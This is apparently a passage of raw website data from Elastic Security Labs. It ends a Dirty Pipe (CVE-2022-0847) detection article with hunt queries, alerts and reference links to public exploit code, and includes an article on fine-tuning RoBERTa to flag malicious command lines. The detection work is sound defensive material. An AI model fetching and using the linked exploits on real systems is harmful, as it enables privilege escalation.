Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana\\u2019s Security \\u2192 Timelines \\u2192 New Timeline \\u2192 Correlation query editor.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-queries-in-kibana\",children:\"Hunt queries in Kibana\"}),`\n`,(0,t.jsx)(e.p,{children:\"KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`KQL query to detect Dirty Pipe exploitation attempts\n\nauditd.log.key : dirtypipe and process.name : *\n\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query compatible with using the Auditbeat:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`EQL query to detect Dirty Pipe exploitation attempts\n\nprocess where tags : \"dirtypipe\" and not process.name : \"\"\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"detection-engine-alerts\",children:\"Detection Engine alerts\"}),`\n`,(0,t.jsx)(e.p,{children:\"You can also create a Detection Engine alert to monitor for exploitation attempts.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image2.jpg\",alt:\"Dirty Pipe Detection Rule\",width:\"1440\",height:\"1141\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image5.png\",alt:\"A preview of alerts created pertaining to the log keys created by Auditd\",width:\"1440\",height:\"770\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"respond-to-observed-threats\",children:\"Respond to Observed Threats\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image1.png\",alt:\"In-platform capabilities of Elastic Security demonstrating response capabilities\",width:\"1440\",height:\"651\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"defense-in-depth-recommendations\",children:\"Defense in Depth Recommendations\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following steps can be leveraged to improve a network\\u2019s protective posture:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS\\u2019\"}),`\n`,(0,t.jsx)(e.li,{children:\"Review and implement the above detection logic within your environment using technology described in the post\"}),`\n`,(0,t.jsx)(e.li,{children:\"Maintain backups of your critical systems to aid in quick recovery\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following research was referenced throughout the document:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Exploit CVE reference: \",(0,t.jsx)(e.a,{href:\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847\",rel:\"nofollow\",children:\"CVE-2022-0847\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Write-up using eBPF for some detections: \",(0,t.jsx)(e.a,{href:\"https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/\",rel:\"nofollow\",children:\"https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Original Max Kellermann write-up: \",(0,t.jsx)(e.a,{href:\"https://dirtypipe.cm4all.com/\",rel:\"nofollow\",children:\"https://dirtypipe.cm4all.com/\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"SUID shell: \\u200B\\u200B\",(0,t.jsx)(e.a,{href:\"https://haxx.in/files/dirtypipez.c\",rel:\"nofollow\",children:\"https://haxx.in/files/dirtypipez.c\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Passwd overwrite: \",(0,t.jsx)(e.a,{href:\"https://github.com/liamg/traitor\",rel:\"nofollow\",children:\"https://github.com/liamg/traitor\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Passwd overwrite: \\u200B\\u200B\",(0,t.jsx)(e.a,{href:\"https://github.com/imfiver/CVE-2022-0847\",rel:\"nofollow\",children:\"https://github.com/imfiver/CVE-2022-0847\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Metasploit module: \",(0,t.jsx)(e.a,{href:\"https://github.com/rapid7/metasploit-framework/pull/16303\",rel:\"nofollow\",children:\"https://github.com/rapid7/metasploit-framework/pull/16303\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Original Auditd detection logic: \",(0,t.jsx)(e.a,{href:\"https://twitter.com/jonasl/status/1501840914381258756?s=20\u0026t=MIWwwXpl5t0JiopVxX5M5Q\",rel:\"nofollow\",children:\"https://twitter.com/jonasl/status/1501840914381258756?s=20\u0026t=MIWwwXpl5t0JiopVxX5M5Q\"})]}),`\n`]})]})}function x(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(c,i)})):c(i)}var A=x;return w(F);})();\n;return Component;"},"_id":"articles/detecting-and-responding-to-dirty-pipe-with-elastic.mdx","_raw":{"sourceFilePath":"articles/detecting-and-responding-to-dirty-pipe-with-elastic.mdx","sourceFileName":"detecting-and-responding-to-dirty-pipe-with-elastic.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detecting-and-responding-to-dirty-pipe-with-elastic"},"type":"Article","imageUrl":"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/photo-edited-01@2x.jpg","readingTime":"11 min read","series":"","url":"/detecting-and-responding-to-dirty-pipe-with-elastic","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":3,"title":"What is Dirty Pipe (CVE-2022-0847)?","href":"#what-is-dirty-pipe-cve-2022-0847"},{"level":3,"title":"What is the impact?","href":"#what-is-the-impact"},{"level":3,"title":"What is Elastic doing about it?","href":"#what-is-elastic-doing-about-it"},{"level":2,"title":"Dirty Pipe Details","href":"#dirty-pipe-details"},{"level":3,"title":"Linux Pipes \u0026 CVE-2022-0847","href":"#linux-pipes--cve-2022-0847"},{"level":3,"title":"Proof Of Concept Code","href":"#proof-of-concept-code"},{"level":2,"title":"Finding systems vulnerable to Dirty Pipe","href":"#finding-systems-vulnerable-to-dirty-pipe"},{"level":3,"title":"Using the Elastic Security Integration","href":"#using-the-elastic-security-integration"},{"level":3,"title":"Using the Osquery Manager Integration","href":"#using-the-osquery-manager-integration"},{"level":2,"title":"Detecting CVE-2022-0847 exploitation using Auditd","href":"#detecting-cve-2022-0847-exploitation-using-auditd"},{"level":3,"title":"Auditd rules","href":"#auditd-rules"},{"level":2,"title":"Linux Auditing System event collection with Elastic","href":"#linux-auditing-system-event-collection-with-elastic"},{"level":3,"title":"The Elastic Agent w/Auditd Integration","href":"#the-elastic-agent-wauditd-integration"},{"level":3,"title":"Auditbeat","href":"#auditbeat"},{"level":2,"title":"Define audit rules here","href":"#define-audit-rules-here"},{"level":2,"title":"Create file watches (-w) or syscall audits (-a or -A). Uncomment these","href":"#create-file-watches--w-or-syscall-audits--a-or--a-uncomment-these"},{"level":2,"title":"examples or add your own rules","href":"#examples-or-add-your-own-rules"},{"level":3,"title":"Filebeat","href":"#filebeat"},{"level":2,"title":"Detecting Dirty Pipe with Elastic","href":"#detecting-dirty-pipe-with-elastic"},{"level":3,"title":"Hunt queries in Kibana","href":"#hunt-queries-in-kibana"},{"level":3,"title":"Detection Engine alerts","href":"#detection-engine-alerts"},{"level":2,"title":"Respond to Observed Threats","href":"#respond-to-observed-threats"},{"level":2,"title":"Defense in Depth Recommendations","href":"#defense-in-depth-recommendations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Colson Wilhoit","slug":"colson-wilhoit","description":"Senior Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),h=(t,n)=\u003e{for(var e in n)i(t,e,{get:n[e],enumerable:!0})},a=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!_.call(t,r)\u0026\u0026r!==e\u0026\u0026i(t,r,{get:()=\u003en[r],enumerable:!(s=x(n,r))||s.enumerable});return t};var j=(t,n,e)=\u003e(e=t!=null?m(g(t)):{},a(n||!t||!t.__esModule?i(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var l=d((F,c)=\u003e{c.exports=_jsx_runtime});var D={};h(D,{default:()=\u003ew,frontmatter:()=\u003eC});var o=j(l()),C={title:\"Colson Wilhoit\",description:\"Senior Research Engineer, Elastic\",slug:\"colson-wilhoit\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var w=M;return p(D);})();\n;return Component;"},"_id":"authors/colson-wilhoit.mdx","_raw":{"sourceFilePath":"authors/colson-wilhoit.mdx","sourceFileName":"colson-wilhoit.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/colson-wilhoit"},"type":"Author","imageUrl":"","url":"/authors/colson-wilhoit"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Getting the Most Out of Transformers in Elastic","slug":"getting-the-most-out-of-transforms-in-elastic","date":"2022-08-23","description":"In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task.","image":"machine-learning-1200x628px-2021-notext.jpg","tags":["machine learning"],"body":{"raw":"\n## Preamble\n\nIn 8.3, our Elastic Stack Machine Learning team introduced a way to import [third party Natural Language Processing (NLP) models](https://www.elastic.co/guide/en/machine-learning/master/ml-nlp-model-ref.html) into Elastic. As security researchers, we HAD to try it out on a security dataset. So we decided to build a model to identify malicious command lines by fine-tuning a pre-existing model available on the [Hugging Face model hub](https://huggingface.co/models).\n\nUpon finding that the fine-tuned model was performing (surprisingly!) well, we wanted to see if it could replace or be combined with our previous [tree-based model](https://www.elastic.co/blog/problemchild-detecting-living-off-the-land-attacks) for detecting Living off the Land (LotL) attacks. But first, we had to make sure that the throughput and latency of this new model were reasonable enough for real-time inference. This resulted in a series of experiments, the results of which we will detail in this blog.\n\nIn this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task. We will also look at how to import custom models into Elastic. Finally, we’ll dive into all the experiments we did around using the fine-tuned model for real-time inference.\n\n## NLP for command line classification\n\nBefore you start building NLP models, it is important to understand whether an [NLP](https://www.ibm.com/cloud/learn/natural-language-processing) model is even suitable for the task at hand. In our case, we wanted to classify command lines as being malicious or benign. Command lines are a set of commands provided by a user via the computer terminal. An example command line is as follows:\n\n```\n**move test.txt C:\\**\n```\n\nThe above command moves the file **test.txt** to the root of the \\*\\*C:\\*\\* directory.\n\nArguments in command lines are related in the way that the co-occurrence of certain values can be indicative of malicious activity. NLP models are worth exploring here since these models are designed to understand and interpret relationships in natural (human) language, and since command lines often use some natural language.\n\n## Fine-tuning a Hugging Face model\n\nHugging Face is a data science platform that provides tools for machine learning (ML) enthusiasts to build, train, and deploy ML models using open source code and technologies. Its model hub has a wealth of models, trained for a variety of NLP tasks. You can either use these pre-trained models as-is to make predictions on your data, or fine-tune the models on datasets specific to your [NLP](https://www.ibm.com/cloud/learn/natural-language-processing) tasks.\n\nThe first step in fine-tuning is to instantiate a model with the model configuration and pre-trained weights of a specific model. Random weights are assigned to any task-specific layers that might not be present in the base model. Once initialized, the model can be trained to learn the weights of the task-specific layers, thus fine-tuning it for your task. Hugging Face has a method called [from_pretrained](https://huggingface.co/docs/transformers/v4.21.1/en/main_classes/model#transformers.PreTrainedModel.from_pretrained) that allows you to instantiate a model from a pre-trained model configuration.\n\nFor our command line classification model, we created a [RoBERTa](https://huggingface.co/docs/transformers/model_doc/roberta) model instance with encoder weights copied from the [roberta-base](https://huggingface.co/roberta-base) model, and a randomly initialized sequence classification head on top of the encoder:\n\n**model = RobertaForSequenceClassification.from_pretrained('roberta-base', num_labels=2)**\n\nHugging Face comes equipped with a [Tokenizers](https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/tokenizer) library consisting of some of today's most used tokenizers. For our model, we used the [RobertaTokenizer](https://huggingface.co/docs/transformers/model_doc/roberta#transformers.RobertaTokenizer) which uses [Byte Pair Encoding](https://en.wikipedia.org/wiki/Byte_pair_encoding) (BPE) to create tokens. This tokenization scheme is well-suited for data belonging to a different domain (command lines) from that of the tokenization corpus (English text). A code snippet of how we tokenized our dataset using **RobertaTokenizer** can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-tokenize-py). We then used Hugging Face's [Trainer](https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/trainer#transformers.Trainer) API to train the model, a code snippet of which can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-train-py).\n\nML models do not understand raw text. Before using text data as inputs to a model, it needs to be converted into numbers. Tokenizers group large pieces of text into smaller semantically useful units, such as (but not limited to) words, characters, or subwords — called token —, which can, in turn, be converted into numbers using different encoding techniques.\n\n\u003e - Check out [this](https://youtu.be/_BZearw7f0w) video (2:57 onwards) to review additional pre-processing steps that might be needed after tokenization based on your dataset.\n\u003e - A complete tutorial on how to fine-tune pre-trained Hugging Face models can be found [here](https://huggingface.co/docs/transformers/training).\n\n## Importing custom models into Elastic\n\nOnce you have a trained model that you are happy with, it's time to import it into Elastic. This is done using [Eland](https://www.elastic.co/guide/en/elasticsearch/client/eland/current/machine-learning.html), a Python client and toolkit for machine learning in Elasticsearch. A code snippet of how we imported our model into Elastic using Eland can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-import-py). \nYou can verify that the model has been imported successfully by navigating to **Model Management \\\\\u003e Trained Models** via the Machine Learning UI in Kibana:\n\n\n\n## Using the Transformer model for inference — a series of experiments\n\nWe ran a series of experiments to evaluate whether or not our Transformer model could be used for real-time inference. For the experiments, we used a dataset consisting of ~66k command lines.\n\nOur first inference run with our fine-tuned **RoBERTa** model took ~4 hours on the test dataset. At the outset, this is much slower than the tree-based model that we were trying to beat at ~3 minutes for the entire dataset. It was clear that we needed to improve the throughput and latency of the PyTorch model to make it suitable for real-time inference, so we performed several experiments:\n\n### Using multiple nodes and threads\n\nThe latency numbers above were observed when the models were running on a single thread on a single node. If you have multiple Machine Learning (ML) nodes associated with your Elastic deployment, you can run inference on multiple nodes, and also on multiple threads on each node. This can significantly improve the throughput and latency of your models.\n\nYou can change these parameters while starting the trained model deployment via the [API](https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html):\n\n```\n**POST \\_ml/trained\\_models/\\\\\u003cmodel\\_id\\\\\u003e/deployment/\\_start?number\\_of\\_allocations=2\u0026threa ds\\_per\\_allocation=4**\n```\n\n**number_of_allocations** allows you to set the total number of allocations of a model across machine learning nodes and can be used to tune model throughput. **threads_per_allocation** allows you to set the number of threads used by each model allocation during inference and can be used to tune model latency. Refer to the [API documentation](https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html) for best practices around setting these parameters.\n\nIn our case, we set the **number_of_allocations** to **2** , as our cluster had two ML nodes and **threads_per_allocation** to **4** , as each node had four allocated processors.\n\nRunning inference using these settings **resulted in a 2.7x speedup** on the original inference time.\n\n### Dynamic quantization\n\nQuantizing is one of the most effective ways of improving model compute cost, while also reducing model size. The idea here is to use a reduced precision integer representation for the weights and/or activations. While there are a number of ways to trade off model accuracy for increased throughput during model development, [dynamic quantization](https://pytorch.org/tutorials/intermediate/dynamic_quantization_bert_tutorial.html) helps achieve a similar trade-off after the fact, thus saving on time and resources spent on iterating over the model training.\n\nEland provides a way to dynamically quantize your model before importing it into Elastic. To do this, simply pass in quantize=True as an argument while creating the TransformerModel object (refer to the code snippet for importing models) as follows:\n\n```\n**# Load the custom model**\n**tm = TransformerModel(\"model\", \"text\\_classification\", quantize=True)**\n```\n\nIn the case of our command line classification model, we observed the model size drop from 499 MB to 242 MB upon dynamic quantization. Running inference on our test dataset using this model **resulted in a 1.6x speedup** on the original inference time, for a slight drop in model [**sensitivity**](https://en.wikipedia.org/wiki/Sensitivity_and_specificity) (exact numbers in the following section) **.**\n\n### Knowledge Distillation\n\n[Knowledge Distillation](https://towardsdatascience.com/knowledge-distillation-simplified-dd4973dbc764) is a way to achieve model compression by transferring knowledge from a large (teacher) model to a smaller (student) one while maintaining validity. At a high level, this is done by using the outputs from the teacher model at every layer, to backpropagate error through the student model. This way, the student model learns to replicate the behavior of the teacher model. Model compression is achieved by reducing the number of parameters, which is directly related to the latency of the model.\n\nTo study the effect of knowledge distillation on the performance of our model, we fine-tuned a [distilroberta-base](https://huggingface.co/distilroberta-base) model (following the same procedure described in the fine-tuning section) for our command line classification task and imported it into Elastic. **distilroberta-base** has 82 million parameters, compared to its teacher model, **roberta-base** , which has 125 million parameters. The model size of the fine-tuned **DistilRoBERTa** model turned out to be **329** MB, down from **499** MB for the **RoBERTa** model.\n\nUpon running inference with this model, we **observed a 1.5x speedup** on the original inference time and slightly better model sensitivity (exact numbers in the following section) than the fine-tuned roberta-base model.\n\n### Dynamic quantization and knowledge distillation\n\nWe observed that dynamic quantization and model distillation both resulted in significant speedups on the original inference time. So, our final experiment involved running inference with a quantized version of the fine-tuned **DistilRoBERTa** model.\n\nWe found that this **resulted in a 2.6x speedup** on the original inference time, and slightly better model sensitivity (exact numbers in the following section). We also observed the model size drop from **329** MB to **199** MB after quantization.\n\n## Bringing it all together\n\nBased on our experiments, dynamic quantization and model distillation resulted in significant inference speedups. Combining these improvements with distributed and parallel computing, we were further able to **reduce the total inference time on our test set from four hours to 35 minutes**. However, even our fastest transformer model was still several magnitudes slower than the tree-based model, despite using significantly more CPU resources.\n\nThe Machine Learning team here at Elastic is introducing an inference caching mechanism in version 8.4 of the Elastic Stack, to save time spent on performing inference on repeat samples. These are a common occurrence in real-world environments, especially when it comes to Security. With this optimization in place, we are optimistic that we will be able to use transformer models alongside tree-based models in the future.\n\nA comparison of the sensitivity (true positive rate) and specificity (true negative rate) of our tree-based and transformer models shows that an ensemble of the two could potentially result in a more performant model:\n\n| | | | | |\n| ----------------------- | --------------- | ----------------------- | --------------- | ----------------------- |\n| Model | Sensitivity (%) | False Negative Rate (%) | Specificity (%) | False Positive Rate (%) |\n| Tree-based | 99.53 | 0.47 | 99.99 | 0.01 |\n| RoBERTa | 99.57 | 0.43 | 97.76 | 2.24 |\n| RoBERTa quantized | 99.56 | 0.44 | 97.64 | 2.36 |\n| DistilRoBERTa | 99.68 | 0.32 | 98.66 | 1.34 |\n| DistilRoBERTa quantized | 99.69 | 0.31 | 98.71 | 1.29 |\n\nAs seen above, the tree-based model is better suited for classifying benign data while the transformer model does better on malicious samples, so a weighted average or voting ensemble could work well to reduce the total error by averaging the predictions from both the models.\n\n## What's next\n\nWe plan to cover our findings from inference caching and model ensembling in a follow-up blog. Stay tuned!\n\nIn the meanwhile, we’d love to hear about models you're building for inference in Elastic. If you'd like to share what you're doing or run into any issues during the process, please reach out to us on our [community Slack channel](https://ela.st/slack)and [discussion forums](https://discuss.elastic.co/c/security). Happy experimenting!\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var p=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!g.call(n,o)\u0026\u0026o!==i\u0026\u0026r(n,o,{get:()=\u003ee[o],enumerable:!(a=m(e,o))||a.enumerable});return n};var b=(n,e,i)=\u003e(i=n!=null?h(f(n)):{},l(e||!n||!n.__esModule?r(i,\"default\",{value:n,enumerable:!0}):i,n)),y=n=\u003el(r({},\"__esModule\",{value:!0}),n);var d=p((z,s)=\u003e{s.exports=_jsx_runtime});var T={};w(T,{default:()=\u003e_,frontmatter:()=\u003ev});var t=b(d()),v={title:\"Getting the Most Out of Transformers in Elastic\",slug:\"getting-the-most-out-of-transforms-in-elastic\",date:\"2022-08-23\",description:\"In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task.\",author:[{slug:\"apoorva-joshi\"},{slug:\"thomas-veasey\"},{slug:\"benjamin-trent\"}],image:\"machine-learning-1200x628px-2021-notext.jpg\",category:[{slug:\"security-research\"}],tags:[\"machine learning\"]};function c(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",pre:\"pre\",code:\"code\",strong:\"strong\",blockquote:\"blockquote\",ul:\"ul\",li:\"li\",br:\"br\",img:\"img\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In 8.3, our Elastic Stack Machine Learning team introduced a way to import \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/machine-learning/master/ml-nlp-model-ref.html\",rel:\"nofollow\",children:\"third party Natural Language Processing (NLP) models\"}),\" into Elastic. As security researchers, we HAD to try it out on a security dataset. So we decided to build a model to identify malicious command lines by fine-tuning a pre-existing model available on the \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/models\",rel:\"nofollow\",children:\"Hugging Face model hub\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon finding that the fine-tuned model was performing (surprisingly!) well, we wanted to see if it could replace or be combined with our previous \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/problemchild-detecting-living-off-the-land-attacks\",rel:\"nofollow\",children:\"tree-based model\"}),\" for detecting Living off the Land (LotL) attacks. But first, we had to make sure that the throughput and latency of this new model were reasonable enough for real-time inference. This resulted in a series of experiments, the results of which we will detail in this blog.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task. We will also look at how to import custom models into Elastic. Finally, we\\u2019ll dive into all 